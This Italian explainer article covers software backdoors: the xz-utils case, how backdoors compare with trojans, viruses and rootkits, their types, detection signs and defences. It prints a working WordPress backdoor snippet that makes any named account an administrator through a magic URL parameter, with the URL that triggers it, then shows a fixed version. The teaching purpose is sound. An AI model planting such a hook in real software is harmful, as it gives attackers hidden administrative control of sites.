Una backdoor è un metodo di accesso a un sistema informatico che bypassa i normali meccanismi di autenticazione, lasciato deliberatamente o introdotto da un attaccante per garantire un ingresso futuro senza che nessuno se ne accorga. Il nome descrive bene il concetto: una porta sul retro, aperta oltre l'ingresso principale sorvegliato.
Il caso più noto degli ultimi anni resta CVE-2024-3094: un manutentore ha inserito nel pacchetto open source xz-utils, usato da gran parte delle distribuzioni Linux, un codice che intercettava le connessioni SSH prima dell'autenticazione. È stato scoperto quasi per caso, da uno sviluppatore che aveva notato un rallentamento anomalo durante il login. È l'esempio perfetto di quanto una backdoor ben scritta possa restare invisibile anche dentro software controllato da migliaia di occhi, ed è il motivo per cui oggi il tema della supply chain del software è centrale quanto quello delle vulnerabilità applicative.
Cos'è una backdoor
Una backdoor funziona come un canale di accesso parallelo a quello ufficiale: chi la conosce entra nel sistema senza passare da login, MFA o altri controlli previsti. Può essere lasciata da chi sviluppa il software per scopi legittimi di manutenzione, oppure inserita da un attaccante per mantenere l'accesso a un sistema già compromesso.
La differenza rispetto a un attacco "one-shot" è proprio la persistenza: una volta sfruttata una vulnerabilità per entrare, un attaccante spesso installa una backdoor per non dover ripetere l'exploit ogni volta, anche se nel frattempo la falla originale viene corretta.
Backdoor, trojan, virus e rootkit: le differenze
Nel linguaggio comune questi termini vengono usati come sinonimi, ma descrivono aspetti diversi di una minaccia e spesso convivono nello stesso attacco: un trojan può essere il veicolo che consegna una backdoor, e un rootkit può essere ciò che la nasconde.
| Categoria | Obiettivo primario | Si nasconde attivamente | Si replica da solo | Come arriva tipicamente |
|---|---|---|---|---|
| Backdoor | Accesso persistente non autorizzato | Sì | No | Codice inserito nello sviluppo, o installata dopo un exploit |
| Trojan | Far eseguire codice malevolo mascherandolo da legittimo | Sì, si finge altro | No | File scaricato o eseguito dall'utente |
| Virus | Danneggiare o alterare file e sistemi | No, agisce apertamente una volta attivo | Sì, infettando altri file | Richiede un file host da infettare |
| Rootkit | Nascondere la presenza di altro malware o di un accesso | Sì, a livello di sistema operativo o kernel | No | Spesso installato tramite una backdoor o un exploit già ottenuto |
In pratica una backdoor risponde alla domanda "come entro di nuovo", un trojan risponde a "come faccio eseguire il mio codice alla vittima", un virus a "come mi diffondo", un rootkit a "come resto invisibile". Non sono alternative tra loro: in un attacco reale si combinano.
Tipologie di backdoor
Intenzionali
Inserite da sviluppatori o produttori per manutenzione, debug o supporto tecnico. Diventano un rischio quando restano nel codice di produzione, non vengono documentate o finiscono nelle mani sbagliate: una credenziale di debug dimenticata in un firmware è, di fatto, una backdoor.
Involontarie
Nascono da errori di programmazione più che da un'intenzione, come un endpoint amministrativo raggiungibile senza controllo dei permessi o un parametro che bypassa un check di autenticazione per un bug logico. Per chi le sfrutta il risultato è identico a una backdoor vera e propria.
Supply chain
Inserite non nel prodotto finale ma in una dipendenza, una libreria o uno strumento di build usato per produrlo, come nel caso di xz-utils. Colpiscono contemporaneamente tutti i progetti che dipendono da quel componente, il che le rende particolarmente efficienti per un attaccante e difficili da individuare per chi fa code review solo sul proprio codice. Ne avevamo parlato anche a proposito della violazione della supply chain OAuth di Vercel.
Hardware e firmware
Incorporate nei circuiti o nel firmware di un dispositivo, come router, switch o schede di rete. Sono le più insidiose da rilevare perché non lasciano tracce nel filesystem del sistema operativo e sopravvivono a una reinstallazione completa del software.
Come una backdoor entra in un sistema
I metodi più comuni sono tre: inserire codice malevolo direttamente durante lo sviluppo o un aggiornamento, sfruttare una vulnerabilità esistente per installarne una dopo l'accesso iniziale, oppure accedere fisicamente al dispositivo. Una volta presente, la backdoor resta dormiente finché non viene attivata, spesso con un comando specifico, una password nota solo all'attaccante o una condizione particolare come l'avvio del sistema.
Un esempio concreto, tipico dei temi e plugin WordPress compromessi:
<?php
// functions.php di un tema compromesso
if (isset($_GET['entryhook']) && $_GET['entryhook'] === 'apritisesamo') {
$user = get_user_by('login', $_GET['u'] ?? 'admin');
if ($user) {
$user->set_role('administrator');
}
}
Basta visitare una qualsiasi pagina del sito con ?entryhook=apritisesamo&u=nomeutente per promuovere un account a amministratore, senza che compaia nulla nell'interfaccia di WordPress.
Come riconoscere una backdoor
Alcuni segnali che vale la pena controllare, soprattutto dopo un incidente o durante un audit:
- traffico di rete in uscita verso IP o domini sconosciuti, specialmente fuori dall'orario lavorativo
- processi in esecuzione con nomi simili a quelli di sistema ma percorsi diversi dall'originale
- utenti amministrativi presenti nel sistema ma non riconducibili a nessuno del team
- differenze tra l'hash dei file di produzione e quello dei file distribuiti ufficialmente
- cron job, servizi di avvio o task pianificati non documentati da nessuna parte
- accessi SSH o RDP riusciti da location o orari incoerenti con l'uso normale
Nessuno di questi segnali da solo è una prova definitiva, ma insieme restringono parecchio il campo.
Difendersi da una backdoor
Rispetto al codice vulnerabile mostrato sopra, la differenza sostanziale è che nessuna funzione amministrativa dovrebbe mai essere raggiungibile senza un controllo esplicito dei permessi, indipendentemente da come viene richiamata:
<?php
// Versione corretta: nessun parametro magico, solo un controllo dei permessi reale
if (current_user_can('manage_options')) {
// logica amministrativa autorizzata, tracciata e riconducibile a un utente autenticato
}
La differenza chiave non è tanto la sintassi quanto il principio: un'azione privilegiata deve passare sempre dallo stesso meccanismo di autorizzazione usato per il resto del sistema, non da un percorso parallelo che nessuno controlla.
Oltre a questo, alcune pratiche riducono concretamente l'esposizione: mantenere aggiornati sistemi operativi, CMS, plugin e dipendenze, dato che diverse backdoor arrivano tramite vulnerabilità note già corrette; monitorare l'integrità dei file con strumenti come AIDE o Tripwire; limitare i privilegi di utenti e processi, così che uno solo di essi compromesso non dia accesso a tutto; verificare la provenienza delle dipendenze software, con SBOM e pinning delle versioni, specialmente dopo casi come xz-utils; e includere temi, plugin e moduli critici nella normale attività di code review, non solo il codice scritto internamente.